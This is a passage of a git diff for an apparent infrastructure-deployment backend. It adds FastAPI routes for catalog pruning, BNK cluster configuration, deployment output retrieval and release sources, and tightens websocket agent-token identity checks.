int | None = Query(None), + proxy: str | None = Query(None), + scenario_key: str | None = Query(None), + config_id: int | None = Query(None), + limit: int = Query(50, ge=1, le=500), + db: Session = Depends(get_db), +): + """Time-ordered completed-run metrics for a target/proxy/scenario/config context, + with the current baseline (if any) always included.""" + svc = BenchmarkService(db) + return svc.get_trends(target_id=target_id, proxy=proxy, scenario_key=scenario_key, config_id=config_id, limit=limit) + + # ============================================================================ # Benchmark Target Endpoints (Phase 4b) # ============================================================================ @@ -1341,8 +1410,10 @@ def _agent_ws_authorized(websocket: WebSocket, agent_id: int) -> int | None: Two orthogonal layers are honored: - BENCHMARK_AGENT_AUTH_REQUIRED (agent-specific, second layer): when ON a - token is mandatory, must be valid, and its ``agent_id`` claim must match - the path agent_id — rejection closes 4401. + token is mandatory, must be valid, and must carry an ``agent_id`` claim + matching the path agent_id — rejection closes 4401. A token with no + agent_id claim is rejected: it authenticates a caller but does not + identify an agent. - REQUIRE_AUTH (global JWT, M2): when ON a valid token is required — rejection closes 4001. When OFF the connection is accepted (local no-auth deployments), mirroring AuthMiddleware. @@ -1369,8 +1440,26 @@ def _agent_ws_authorized(websocket: WebSocket, agent_id: int) -> int | None: except UnauthorizedError: logger.warning("Agent %d WS rejected: invalid token", agent_id) return 4401 + # Identity binding (#41 F5). A token WITHOUT an agent_id claim used to + # skip this check entirely, so any valid token -- a viewer's included -- + # could connect as any agent_id and send heartbeat/progress or flip agent + # status. Authentication is not identity: when agent auth is required the + # claim is mandatory, not merely honoured when present. token_agent_id = payload.get("agent_id") - if token_agent_id is not None and int(token_agent_id) != agent_id: + if token_agent_id is None: + logger.warning( + "Agent %d WS rejected: token carries no agent_id claim (agent auth required)", + agent_id, + ) + return 4401 + try: + claim_matches = int(token_agent_id) == agent_id + except (TypeError, ValueError): + logger.warning( + "Agent %d WS rejected: non-numeric agent_id claim %r", agent_id, token_agent_id + ) + return 4401 + if not claim_matches: logger.warning( "Agent %d WS rejected: token agent_id=%s does not match path", agent_id, token_agent_id ) diff --git a/backend/routes/blueprint_catalog.py b/backend/routes/blueprint_catalog.py index 2d398036..4748b62c 100644 --- a/backend/routes/blueprint_catalog.py +++ b/backend/routes/blueprint_catalog.py @@ -10,6 +10,7 @@ from core.errors import BadRequestError, handle_route_errors from database import get_db from routes.auth import require_operator, require_viewer +from schemas.catalog_prune import PruneRequest, PruneResponse from services.blueprint_catalog_service import BlueprintCatalogService from services.blueprint_sync_service import BlueprintSyncService @@ -290,3 +291,37 @@ def update_blueprint_release_visibility( result = BlueprintCatalogService(db).set_release_visibility(release_id, body.is_visible) db.commit() return result + + +@router.post( + "/sources/{source_id}/prune", + response_model=PruneResponse, + dependencies=[Depends(require_operator)], +) +@handle_route_errors("prune blueprint source") +def prune_blueprint_source_releases( + source_id: int, request: PruneRequest, db: Session = Depends(get_db) +): + """Retire superseded blueprint releases for this source. + + Every edit to a blueprint adds an immutable release, so a source under + development ends up serving a version picker full of history. Deactivating + (the default) hides a release without discarding it. `delete` removes rows + outright and only ever those nothing was deployed from — a release a + StackInstance points at is deactivated instead, because that FK is + ON DELETE SET NULL and deleting would silently strip the stack of the record + of what it was built from. + """ + from services.catalog_prune_service import prune_blueprint_source + + result = prune_blueprint_source( + db, + source_id, + keep=request.keep, + delete=request.delete, + dry_run=request.dry_run, + include_in_use=request.include_in_use, + ) + if not request.dry_run: + db.commit() + return result.as_dict() diff --git a/backend/routes/config_export.py b/backend/routes/config_export.py index e5e8ad80..703f07c8 100644 --- a/backend/routes/config_export.py +++ b/backend/routes/config_export.py @@ -21,6 +21,7 @@ from routes.auth import require_cluster_owner, require_operator, require_viewer from schemas.system import ConfigImportRequest from services.config_export_service import ( + apply_resources, config_to_yaml, diff_configs, export_cluster_config, @@ -144,7 +145,6 @@ def import_config( Use the deploy workflow for full module management. """ from kubernetes import client as k8s_client - from kubernetes.client.rest import ApiException from models import KubernetesCluster from services.kubernetes_service import KubernetesService @@ -164,80 +164,7 @@ def import_config( if not resources: raise BadRequestError("No resources in config to import", code="EMPTY_CONFIG") - results = { - "applied": [], - "failed": [], - "skipped": [], - } - - for category, resource_list in resources.items(): - for resource in resource_list: - kind = resource.get("kind", "Unknown") - name = resource.get("metadata", {}).get("name", "unknown") - ns = resource.get("metadata", {}).get("namespace", "") - api_version = resource.get("apiVersion", "v1") - - try: - # Parse group/version from apiVersion - if "/" in api_version: - group, version = api_version.rsplit("/", 1) - else: - group, version = "", api_version - - if not group: - results["skipped"].append({ - "kind": kind, "name": name, "namespace": ns, - "reason": "Core API import not supported", - }) - continue - - from services.execution.kubernetes_engine import KNOWN_PLURALS - from services.kubernetes._resources import resolve_plural_by_kind - plural = ( - resolve_plural_by_kind(db, cluster_id, kind, group or None) - or KNOWN_PLURALS.get(kind, kind.lower() + "s") - ) - - # Server-side apply via PATCH with application/apply-patch+yaml - if ns: - custom_api.patch_namespaced_custom_object( - group=group, version=version, namespace=ns, - plural=plural, name=name, body=resource, - field_manager="bnk-forge", force=True, - ) - else: - custom_api.patch_cluster_custom_object( - group=group, version=version, - plural=plural, name=name, body=resource, - field_manager="bnk-forge", force=True, - ) - - results["applied"].append({ - "kind": kind, "name": name, "namespace": ns, - }) - except ApiException as e: - if e.status == 404: - results["skipped"].append({ - "kind": kind, "name": name, "namespace": ns, - "reason": f"CRD not installed: {kind}", - }) - else: - results["failed"].append({ - "kind": kind, "name": name, "namespace": ns, - "error": str(e.reason)[:200], - }) - except Exception as e: - error_str = str(e) - if "404" in error_str or "resource type" in error_str.lower(): - results["skipped"].append({ - "kind": kind, "name": name, "namespace": ns, - "reason": f"CRD not installed: {kind}", - }) - else: - results["failed"].append({ - "kind": kind, "name": name, "namespace": ns, - "error": error_str[:200], - }) + results = apply_resources(db, cluster_id, custom_api, resources) return { "message": f"Import complete: {len(results['applied'])} applied, {len(results['failed'])} failed, {len(results['skipped'])} skipped", diff --git a/backend/routes/container_registries.py b/backend/routes/container_registries.py index 6c80074a..499da4d2 100644 --- a/backend/routes/container_registries.py +++ b/backend/routes/container_registries.py @@ -78,17 +78,36 @@ class Config: from_attributes = True +class ContainerRegistryTestResponse(BaseModel): + """Outcome of POST /{id}/test. + + Mirrors what ContainerRegistryService.test_registry returns: the probe's + own success/message/error plus the persisted last_test_* fields. Declared + so the route carries a response_model like its siblings (#79) and the + shape is visible in OpenAPI instead of only in the service body. + """ + success: bool + message: str | None = None + error: str | None = None + type: str | None = None + last_test_status: str | None = None + last_test_at: str | None = None + last_test_message: str | None = None + + # ============================================================================ # CRUD Endpoints # ============================================================================ @router.get("", response_model=list[ContainerRegistryResponse], dependencies=[Depends(require_viewer)]) +@handle_route_errors("list container registries") def list_container_registries(db: Session = Depends(get_db)): """List all container registries.""" return ContainerRegistryService(db).list_registries() @router.get("/{registry_id}", response_model=ContainerRegistryResponse, dependencies=[Depends(require_viewer)]) +@handle_route_errors("get container registry") def get_container_registry(registry_id: int, db: Session = Depends(get_db)): """Get a specific container registry by ID.""" return ContainerRegistryService(db).get_registry(registry_id) @@ -129,7 +148,11 @@ def delete_container_registry(registry_id: int, db: Session = Depends(get_db)): # Testing Endpoint # ============================================================================ -@router.post("/{registry_id}/test", dependencies=[Depends(require_operator)]) +@router.post( + "/{registry_id}/test", + response_model=ContainerRegistryTestResponse, + dependencies=[Depends(require_operator)], +) @handle_route_errors("test container registry") def test_container_registry(registry_id: int, db: Session = Depends(get_db)): """Test registry connectivity using this registry's credentials. diff --git a/backend/routes/dpus_websocket.py b/backend/routes/dpus_websocket.py index a91ed9d4..32b0f27f 100644 --- a/backend/routes/dpus_websocket.py +++ b/backend/routes/dpus_websocket.py @@ -718,7 +718,7 @@ def _connect() -> tuple[paramiko.SSHClient, paramiko.SSHClient, str]: # Prefer whatever the probe captured; fall back to the per-DPU # tmfifo IP derived from the rshim index for multi-DPU hosts. - os_ip = dpu.dpu_os_ip or derive_tmfifo_dpu_host(dpu.rshim_device) + os_ip = dpu.dpu_os_ip or derive_tmfifo_dpu_host(dpu.rshim_device, dpu=dpu) host_client = open_inband_host_ssh(db, dpu) try: diff --git a/backend/routes/drift.py b/backend/routes/drift.py index 2eed36c7..de0d2e8d 100644 --- a/backend/routes/drift.py +++ b/backend/routes/drift.py @@ -12,6 +12,7 @@ from models import User from routes.auth import require_module_owner, require_project_owner, require_viewer from schemas.drift import ( + ClusterDriftStatusResponse, DriftCheckResponse, DriftSettingsRequest, DriftSettingsResponse, @@ -158,7 +159,7 @@ def get_drift_stats( return svc.get_stats(project_id=project_id, days=days) -@router.get("/api/clusters/{cluster_id}/drift/status", dependencies=[Depends(require_viewer)]) +@router.get("/api/clusters/{cluster_id}/drift/status", response_model=ClusterDriftStatusResponse, dependencies=[Depends(require_viewer)]) def get_cluster_drift_status(cluster_id: int, db: Session = Depends(get_db)): """Get drift status for all modules deployed to a cluster's project.""" svc = DriftService(db) diff --git a/backend/routes/k8s/_shared.py b/backend/routes/k8s/_shared.py index 42b5980d..6d81b93b 100644 --- a/backend/routes/k8s/_shared.py +++ b/backend/routes/k8s/_shared.py @@ -22,10 +22,26 @@ # DRY Serialization Helpers # ============================================================================ -def serialize_cluster(cluster: KubernetesCluster, include_project_id: bool = True) -> dict: +def serialize_cluster( + cluster: KubernetesCluster, + include_project_id: bool = True, + membership: "tuple[list[int], list[int]] | None" = None, + include_bnk_config: bool = True, +) -> dict: """ Serialize a KubernetesCluster to dict. DRY helper to avoid repeated serialization code. + + membership: pre-fetched (host_ids, dpu_ids) for BNK clusters in list + contexts. When provided, _serialize_bnk_config uses it directly instead + of issuing per-cluster queries (eliminates the 2N pattern; ADR-424 finding C). + + include_bnk_config: when False, bnk_config is redacted (None). The + ADR-424 bnk_config carries cross-project infrastructure membership + (host_ids, dpu_ids, control_plane_host_id, tmfifo_pool_cidr); the global + instance-wide list must not leak it to any viewer (#116). The + project-scoped list and the per-cluster detail keep it (their callers + are the surfaces that actually consume it). """ platform_context = PlatformContextService.serialize_cluster_context(cluster) @@ -55,12 +71,70 @@ def serialize_cluster(cluster: KubernetesCluster, include_project_id: bool = Tru # Per-cluster prereq selection (NULL → defaults; locked entries are # always included in the effective set). "enabled_prerequisites": cluster.enabled_prerequisites, + # ADR-478/494: release FK ids — deployable = intent (set at deploy time); + # running = observed (set by discovery scan). Both nullable. + "deployable_release_id": cluster.deployable_release_id, + "running_release_id": cluster.running_release_id, + # BNK multi-host cluster configuration side-table (ADR-424) + "bnk_config": ( + _serialize_bnk_config(cluster, membership=membership) + if include_bnk_config and getattr(cluster, "bnk_config", None) + else None + ), } if include_project_id: result["project_id"] = cluster.project_id return result +def _serialize_bnk_config( + cluster: KubernetesCluster, + membership: "tuple[list[int], list[int]] | None" = None, +) -> dict: + """Serialize the ADR-424 BnkClusterConfig side-table plus live membership. + + host_ids/dpu_ids reflect the hosts/DPUs whose kubernetes_cluster_id points + at this cluster; the member dialog seeds its selection from these instead of + re-applying the B-all default (which would steal sibling clusters' members). + Only invoked for BNK clusters (bnk_config present), so the extra membership + queries never touch non-BNK clusters in list responses. + + membership: pre-fetched (host_ids, dpu_ids) from bulk_cluster_membership. + When provided, no per-cluster queries are issued. When None (single-cluster + contexts such as GET or POST), queries via object_session (ADR-424 finding C). + """ + cfg = cluster.bnk_config + if membership is not None: + host_ids, dpu_ids = membership + else: + from sqlalchemy.orm import object_session + + from models.bare_metal import BareMetalHost + from models.dpu import Dpu + + host_ids = [] + dpu_ids = [] + session = object_session(cluster) + if session is not None: + host_ids = sorted( + h.id for h in session.query(BareMetalHost.id) + .filter(BareMetalHost.kubernetes_cluster_id == cluster.id).all() + ) + dpu_ids = sorted( + d.id for d in session.query(Dpu.id) + .filter(Dpu.kubernetes_cluster_id == cluster.id).all() + ) + return { + "id": cfg.id, + "cluster_id": cfg.cluster_id, + "tmfifo_pool_cidr": cfg.tmfifo_pool_cidr, + "join_transport": cfg.join_transport, + "control_plane_host_id": cfg.control_plane_host_id, + "host_ids": host_ids, + "dpu_ids": dpu_ids, + } + + def run_kubectl(cmd, timeout: int = 30): """Execute kubectl command and return parsed YAML output. diff --git a/backend/routes/k8s/clusters.py b/backend/routes/k8s/clusters.py index 854b9e0d..3211514a 100644 --- a/backend/routes/k8s/clusters.py +++ b/backend/routes/k8s/clusters.py @@ -23,6 +23,10 @@ ) from schemas.k8s import ( BatchConnectivityResponse, + BnkClusterConfigCreateRequest, + BnkClusterConfigSummary, + BnkClusterMemberAssignRequest, + BnkClusterMemberAssignResponse, ClusterConnectionTestResponse, ClusterConnectivityResponse, ClusterCreateResponse, @@ -329,3 +333,63 @@ def get_adaptive_module_plan_from_scan(cluster_id: int, request: AdaptiveModuleR else: plan = selector.plan_for_template("f5-bnk-2.2", sizing_profile=request.sizing_profile) return plan.to_dict() + + +@router.post( + "/k8s/clusters/{cluster_id}/bnk-config", + response_model=BnkClusterConfigSummary, +) +@handle_route_errors("configure BNK cluster settings") +def configure_bnk_cluster( + cluster_id: int, + request: BnkClusterConfigCreateRequest, + user: User = Depends(require_cluster_owner), + db: Session = Depends(get_db), +): + """Configure BNK cluster side-table options (tmfifo CIDR pool, join transport, CP host).""" + from services.bnk_cluster_service import BnkClusterService + + service = BnkClusterService(db) + cfg = service.get_or_create_config( + cluster_id=cluster_id, + tmfifo_pool_cidr=request.tmfifo_pool_cidr, + join_transport=request.join_transport, + control_plane_host_id=request.control_plane_host_id, + ) + db.commit() + db.refresh(cfg) + host_ids, dpu_ids = service.cluster_membership(cluster_id) + return BnkClusterConfigSummary( + id=cfg.id, + cluster_id=cfg.cluster_id, + tmfifo_pool_cidr=cfg.tmfifo_pool_cidr, + join_transport=cfg.join_transport, + control_plane_host_id=cfg.control_plane_host_id, + host_ids=host_ids, + dpu_ids=dpu_ids, + ) + + +@router.post( + "/k8s/clusters/{cluster_id}/bnk-members", + response_model=BnkClusterMemberAssignResponse, +) +@handle_route_errors("assign BNK cluster members") +def assign_bnk_cluster_members( + cluster_id: int, + request: BnkClusterMemberAssignRequest, + user: User = Depends(require_cluster_owner), + db: Session = Depends(get_db), +): + """Assign bare-metal hosts and DPUs to a BNK cluster and perform tmfifo IP allocations.""" + from services.bnk_cluster_service import BnkClusterService + + result = BnkClusterService(db).assign_members( + cluster_id=cluster_id, + control_plane_host_id=request.control_plane_host_id, + host_ids=request.host_ids, + dpu_ids=request.dpu_ids, + tmfifo_pool_cidr=request.tmfifo_pool_cidr, + ) + db.commit() + return BnkClusterMemberAssignResponse(**result) diff --git a/backend/routes/module_sources.py b/backend/routes/module_sources.py index 85a62165..e0b30e11 100644 --- a/backend/routes/module_sources.py +++ b/backend/routes/module_sources.py @@ -16,6 +16,7 @@ from database import get_db from models import User from routes.auth import get_current_user, require_operator, require_viewer +from schemas.catalog_prune import PruneRequest, PruneResponse from services.module_source_service import ModuleSourceService logger = logging.getLogger(__name__) @@ -200,3 +201,41 @@ def validate_module_source_credentials( result = ModuleSourceService(db).validate_source_credentials(source_id, user_obj=user) db.commit() return result + + +@router.post( + "/{source_id}/prune", + response_model=PruneResponse, + dependencies=[Depends(require_operator)], +) +@handle_route_errors("prune module source") +def prune_module_source_versions( + source_id: int, request: PruneRequest, db: Session = Depends(get_db) +): + """Retire superseded module versions for this source. + + D-033 adds an immutable row per (source, path, version) and never removes + one, so a source under active development accumulates every version it has + ever had. Until now the only way back was to delete the source and + re-register it, which discards its configuration and every blueprint release + alongside it. + + Deactivating (the default) hides a version and stops it competing for + is_latest while leaving the row resolvable for anything pinned to it. + `delete` removes rows outright, and only ever those nothing references — + a pinned version is deactivated instead, because a prune must not break a + running deployment. + """ + from services.catalog_prune_service import prune_module_source + + result = prune_module_source( + db, + source_id, + keep=request.keep, + delete=request.delete, + dry_run=request.dry_run, + include_in_use=request.include_in_use, + ) + if not request.dry_run: + db.commit() + return result.as_dict() diff --git a/backend/routes/project_deployments.py b/backend/routes/project_deployments.py index c4ab755c..074bc040 100644 --- a/backend/routes/project_deployments.py +++ b/backend/routes/project_deployments.py @@ -18,11 +18,12 @@ from fastapi import APIRouter, Depends, Query, Request from sqlalchemy.orm import Session, joinedload -from core.errors import BadRequestError, NotFoundError +from core.errors import BadRequestError, NotFoundError, handle_route_errors from database import get_db from models import ModuleLibrary, Project, ProjectModule, User from models.enums import ModuleStatus, TaskStatus from routes.auth import get_username_from_request, require_module_owner, require_viewer +from schemas.projects import DeploymentOutputResponse from services.infrastructure_access_service import normalize_module_outputs_in_place logger = logging.getLogger(__name__) @@ -47,10 +48,19 @@ def get_deployment_logs( """ Get historical deployment logs for a module. + Entries are returned NEWEST FIRST regardless of source. Sources, in + preference order: + - "deployment_log": DeploymentLog rows (written by the retry path) + - "task": the module's newest Task.logs -- where every engine actually + streams its step output; `task_id` names it (GET /api/tasks/{task_id}) + - "none": nothing recorded yet; `hint` says where output will appear + Args: module_id: Module ID - limit: Maximum number of logs to return (1-10000, default 1000) - level: Filter by log level (all, info, error, warning, success) + limit: Maximum number of logs to return (1-10000, default 1000); + on the "task" source this is a tail of the most recent lines + level: Filter by log level (all, info, error, warning, success); + best-effort on the "task" source (matched on engine markers) """ from models import DeploymentLog @@ -83,21 +93,83 @@ def get_deployment_logs( # Execute query logs = query.all() - logger.info(f"Retrieved {len(logs)} logs for module {module_id} (level={level}, limit={limit})") + if logs: + logger.info(f"Retrieved {len(logs)} logs for module {module_id} (level={level}, limit={limit})") + return { + "module_id": module_id, + "module_name": module.library_module.name, + "total_logs": len(logs), + "source": "deployment_log", + "task_id": None, + "logs": [ + { + "timestamp": log.timestamp.strftime("%Y-%m-%d %H:%M:%S"), + "level": log.level, + "message": log.message + } + for log in logs + ] + } - # Format response + # No DeploymentLog rows. That is the NORMAL case, not an empty history: + # every engine (opentofu, container, ansible, ssh, cli, kubernetes, tmos) + # streams its step output into Task.logs, and only the retry path ever + # writes DeploymentLog. Returning 200 {"logs": []} here read as "this + # step produced no output" and sent operators to `docker logs` on the + # host (#154). Fall back to the module's most recent task and say so. + from models import Task as TaskModel + + task = ( + db.query(TaskModel) + .filter(TaskModel.module_id == module_id) + .order_by(TaskModel.id.desc()) + .first() + ) + if task is None or not task.logs: + return { + "module_id": module_id, + "module_name": module.library_module.name, + "total_logs": 0, + "source": "none", + "task_id": task.id if task else None, + "logs": [], + "hint": ( + "No output recorded for this module yet. Step output is stored per " + "task: GET /api/tasks?module_id= lists them, GET /api/tasks/{id} " + "returns the full log." + ), + } + + lines = task.logs.splitlines() + if level and level != "all": + # Task logs are free text; apply a best-effort level filter on the + # engine's own markers so the parameter keeps meaning on this path. + markers = { + "error": ("ERROR", "✗", "error:", "--- ERROR ---"), + "warning": ("WARN", "WARNING", "⚠"), + "success": ("✓", "SUCCESS", "Complete"), + "info": (), + } + wanted = markers.get(level, ()) + if wanted: + lines = [ln for ln in lines if any(m in ln for m in wanted)] + # Tail, then NEWEST FIRST -- the same order the DeploymentLog branch has + # always returned (timestamp.desc()). A caller treating logs[0] as "most + # recent" must get the same answer from either source. + lines = lines[-limit:] + lines.reverse() + + logger.info( + f"No DeploymentLog rows for module {module_id}; served {len(lines)} lines " + f"from task {task.id}" + ) return { "module_id": module_id, "module_name": module.library_module.name, - "total_logs": len(logs), - "logs": [ - { - "timestamp": log.timestamp.strftime("%Y-%m-%d %H:%M:%S"), - "level": log.level, - "message": log.message - } - for log in logs - ] + "total_logs": len(lines), + "source": "task", + "task_id": task.id, + "logs": [{"timestamp": None, "level": "info", "message": ln} for ln in lines], } @@ -152,6 +224,11 @@ def get_deployment_history( "deployments": [ { "id": dep.id, + # The handle for this run's output: GET /api/tasks/{task_id}. + # `id` is the deployment row, NOT the task -- an easy thing to + # mistake for the log handle (#154). Older rows predate the + # meta_data backfill and report null. + "task_id": (dep.meta_data or {}).get("task_id"), "action": dep.action, "status": dep.status, "triggered_by": dep.triggered_by, @@ -171,6 +248,83 @@ def get_deployment_history( } +@router.get( + "/{module_id}/deployments/{deployment_id}/output", + response_model=DeploymentOutputResponse, + dependencies=[Depends(require_viewer)], +) +@handle_route_errors("get deployment output") +def get_deployment_output( + module_id: int, + deployment_id: int, + max_bytes: int = Query( + 2_000_000, + ge=1024, + le=20_000_000, + description="Cap on returned stdout size; the TAIL is kept when it exceeds this", + ), + db: Session = Depends(get_db), +): + """ + Get the captured output of a single deployment run. + + The deployment list endpoint reports status, timing and resource counts but + carries no log, so a failed module could only be diagnosed by opening the UI. + This returns the run's stdout/stderr so a headless or CI-driven deploy can + find out what actually failed (issue #526). + + Output is kept from the END when it exceeds ``max_bytes`` — a failure message + is at the tail of the log, not the head. + """ + from models import Deployment + + module = db.query(ProjectModule).filter(ProjectModule.id == module_id).first() + if not module: + raise NotFoundError("module", module_id) + + deployment = ( + db.query(Deployment) + .filter(Deployment.id == deployment_id, Deployment.module_id == module_id) + .first() + ) + if not deployment: + # Scoped to the module on purpose: a deployment id that exists but belongs + # to another module must not be readable through this module's path. + raise NotFoundError("deployment", deployment_id) + + stdout = deployment.stdout or "" + stderr = deployment.stderr or "" + + # Truncate on BYTES, not characters. len() on a str counts characters, and + # artifact logs are full of non-ASCII (✓/✗/box-drawing), so a character cap + # could return up to 4× the advertised size to a scripted caller. + truncated = False + encoded = stdout.encode("utf-8") + if len(encoded) > max_bytes: + # Decode with errors="ignore" to drop a partial code point at the cut. + stdout = encoded[-max_bytes:].decode("utf-8", errors="ignore") + truncated = True + + logger.info( + f"Retrieved output for deployment {deployment_id} (module {module_id}, " + f"{len(stdout)} chars, truncated={truncated})" + ) + + return DeploymentOutputResponse( + module_id=module_id, + deployment_id=deployment.id, + action=deployment.action, + status=deployment.status, + exit_code=deployment.exit_code, + started_at=deployment.started_at.isoformat() if deployment.started_at else None, + completed_at=deployment.completed_at.isoformat() if deployment.completed_at else None, + duration_seconds=deployment.duration_seconds, + stdout=stdout, + stderr=stderr, + truncated=truncated, + ) + + @router.get("/project/{project_id}/deployments", dependencies=[Depends(require_viewer)]) def get_project_deployment_history( project_id: int, diff --git a/backend/routes/project_modules.py b/backend/routes/project_modules.py index cc95ec14..62775907 100644 --- a/backend/routes/project_modules.py +++ b/backend/routes/project_modules.py @@ -367,6 +367,14 @@ def rerun_module(module_id: int, user: User = Depends(require_module_owner), db: if module.status in ("initializing", "planning", "applying", "destroying"): raise BadRequestError(f"Cannot rerun: module is currently {module.status}", code="OPERATION_IN_PROGRESS") + # Validate BEFORE any mutation. Everything below nulls outputs/plan_output + # and commits, so a rejection at dispatch time would already have destroyed + # an applied module's outputs on a request that never ran. + if not module.enabled: + raise BadRequestError( + "Module is disabled — enable it before rerunning", code="MODULE_DISABLED" + ) + # Reset module state module.status = "not_initialized" module.deployment_error = None diff --git a/backend/routes/project_secrets.py b/backend/routes/project_secrets.py index 002869c0..aa8b181c 100644 --- a/backend/routes/project_secrets.py +++ b/backend/routes/project_secrets.py @@ -760,11 +760,12 @@ def _is_satisfied_with_policy(variable_name: str, existing_names: set[str]) -> t # preferred row (is_latest, newest id) lands last and wins the map, # matching the version stack deploy resolves. module_paths = [m.get("path") for m in (template.modules or []) if m.get("path")] - lib_modules = db.query(ModuleLibrary).filter( - ModuleLibrary.path.in_(module_paths), - ModuleLibrary.is_active - ).order_by(ModuleLibrary.is_latest.asc(), ModuleLibrary.id.asc()).all() - lib_modules_by_path = {m.path: m for m in lib_modules} + # Shared resolver: this map must agree row-for-row with what stack deploy + # resolves, or the secret-policy check validates a different module's + # schema than the one that actually deploys (#90 F8). + from services.module_resolution import resolve_module_rows_by_path + + lib_modules_by_path = resolve_module_rows_by_path(db, module_paths) # Keep stack-level secret policy aligned with stack deploy prerequisite checks. policy_service = StackDeploymentService(db) diff --git a/backend/routes/release_sources.py b/backend/routes/release_sources.py new file mode 100644 index 00000000..e2315d47 --- /dev/null +++ b/backend/routes/release_sources.py @@ -0,0 +1,172 @@ +"""API routes for BNK release source management (ADR-494).""" + +import logging + +from fastapi import APIRouter, Depends +from pydantic import BaseModel +from sqlalchemy.orm import Session + +from core.errors import handle_route_errors +from database import get_db +from routes.auth import require_admin, require_viewer +from schemas.release_source import ( + PullTagsRequest, + PullTagsSummary, + ReleaseSourceCreate, + ReleaseSourceResponse, + ReleaseSourceTagList, + ReleaseSourceUpdate, +) + +logger = logging.getLogger(__name__) + +router = APIRouter( + prefix="/api/bare-metal/release-sources", + tags=["bare-metal"], +) + + +class SyncSourceRequest(BaseModel): + manifest_yaml: str + + +class SyncSourceResponse(BaseModel): + source: ReleaseSourceResponse + sync_result: dict[str, int] + + +@router.get("", response_model=list[ReleaseSourceResponse], dependencies=[Depends(require_viewer)]) +@handle_route_errors("list release sources") +def list_release_sources( + active_only: bool = False, + db: Session = Depends(get_db), +) -> list[ReleaseSourceResponse]: + """List all BNK release sources.""" + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + return [svc.to_response(s) for s in svc.list_sources(active_only=active_only)] + + +@router.post("", response_model=ReleaseSourceResponse, dependencies=[Depends(require_admin)]) +@handle_route_errors("create release source") +def create_release_source( + body: ReleaseSourceCreate, + db: Session = Depends(get_db), +) -> ReleaseSourceResponse: + """Create a new BNK release source.""" + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + source = svc.create_source(body) + db.commit() + return svc.to_response(source) + + +@router.get("/{source_id}", response_model=ReleaseSourceResponse, dependencies=[Depends(require_viewer)]) +@handle_route_errors("get release source") +def get_release_source( + source_id: int, + db: Session = Depends(get_db), +) -> ReleaseSourceResponse: + """Get a specific BNK release source.""" + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + return svc.to_response(svc.get_source(source_id)) + + +@router.patch("/{source_id}", response_model=ReleaseSourceResponse, dependencies=[Depends(require_admin)]) +@handle_route_errors("update release source") +def update_release_source( + source_id: int, + body: ReleaseSourceUpdate, + db: Session = Depends(get_db), +) -> ReleaseSourceResponse: + """Partial update of a BNK release source.""" + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + source = svc.update_source(source_id, body) + db.commit() + return svc.to_response(source) + + +@router.delete("/{source_id}", status_code=204, dependencies=[Depends(require_admin)]) +@handle_route_errors("delete release source") +def delete_release_source( + source_id: int, + db: Session = Depends(get_db), +) -> None: + """Delete a BNK release source. Catalog rows retain source_id → NULL via FK ON DELETE SET NULL.""" + from services.release_source_service import ReleaseSourceService + + ReleaseSourceService(db).delete_source(source_id) + db.commit() + return None + + +@router.get("/{source_id}/tags", response_model=ReleaseSourceTagList, dependencies=[Depends(require_viewer)]) +@handle_route_errors("list release source tags") +def list_release_source_tags( + source_id: int, + db: Session = Depends(get_db), +) -> ReleaseSourceTagList: + """List available manifest tags from the OCI/mirror registry. + + Best-effort: on listing failure returns tags=[] with list_error set + (never 500s). The UI should keep a manual tag-entry fallback. + """ + from services.release_source_service import ReleaseSourceService + + return ReleaseSourceService(db).list_available_tags(source_id) + + +@router.post("/{source_id}/tags:pull", response_model=PullTagsSummary, dependencies=[Depends(require_admin)]) +@handle_route_errors("pull release source tags") +def pull_release_source_tags( + source_id: int, + body: PullTagsRequest, + db: Session = Depends(get_db), +) -> PullTagsSummary: + """Pull selected manifest tags from the OCI/mirror registry and upsert Catalog rows. + + Idempotent: already-present releases are reported in skipped[], not re-inserted. + Partial batch failure (one tag fails, others succeed) keeps sync_status=success. + """ + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + try: + result = svc.pull_tags(source_id, body.tags) + db.commit() + except Exception: + db.commit() + raise + return result + + +@router.post("/{source_id}/sync", response_model=SyncSourceResponse, dependencies=[Depends(require_admin)]) +@handle_route_errors("sync release source") +def sync_release_source( + source_id: int, + body: SyncSourceRequest, + db: Session = Depends(get_db), +) -> SyncSourceResponse: + """Sync catalog releases from the supplied manifest YAML. + + Persists sync_status='error' even when the sync fails, so the caller can + inspect the error via GET /{source_id}. + """ + from services.release_source_service import ReleaseSourceService + + svc = ReleaseSourceService(db) + try: + result = svc.sync_source(source_id, body.manifest_yaml) + db.commit() + except Exception: + # Persist the error state set by sync_source before re-raising. + db.commit() + raise + source = svc.get_source(source_id) + return SyncSourceResponse(source=svc.to_response(source), sync_result=result) diff --git a/backend/routes/stacks.py b/backend/routes/stacks.py index 55880278..0e38a12a 100644 --- a/backend/routes/stacks.py +++ b/backend/routes/stacks.py @@ -6,7 +6,8 @@ import logging -from fastapi import APIRouter, Depends, Query +from fastapi import APIRouter, Body, Depends, Query +from pydantic import BaseModel from sqlalchemy.orm import Session from core.errors import handle_route_errors @@ -37,6 +38,11 @@ router = APIRouter(prefix="/api/stacks", tags=["stacks"]) +class DeployStackRequest(BaseModel): + """Optional body for stack deploy / run-deploy. Carries BNK release override for bare-metal blueprints.""" + deployable_release_id: int | None = None + + # ============================================================================ # Stack Templates Endpoints # ============================================================================ @@ -183,18 +189,31 @@ def get_stack_instance(project_id: int, stack_id: int, db: Session = Depends(get @router.post("/projects/{project_id}/stacks/{stack_id}/deploy") -def deploy_stack(project_id: int, stack_id: int, user: User = Depends(require_project_owner), db: Session = Depends(get_db)): - """Start stack deployment.""" +@handle_route_errors("start stack deployment") +def deploy_stack( + project_id: int, + stack_id: int, + body: DeployStackRequest = Body(default=DeployStackRequest()), + user: User = Depends(require_project_owner), + db: Session = Depends(get_db), +): + """Start stack deployment. Accepts optional deployable_release_id for BNK/bare-metal blueprints.""" svc = StackService(db) - return svc.deploy_stack(project_id, stack_id) + return svc.deploy_stack(project_id, stack_id, deployable_release_id=body.deployable_release_id) @router.post("/projects/{project_id}/stacks/{stack_id}/run-deploy") @handle_route_errors("run stack deployment") -def run_stack_deployment(project_id: int, stack_id: int, user: User = Depends(require_project_owner), db: Session = Depends(get_db)): - """Deploy all stack modules (init + apply).""" +def run_stack_deployment( + project_id: int, + stack_id: int, + body: DeployStackRequest = 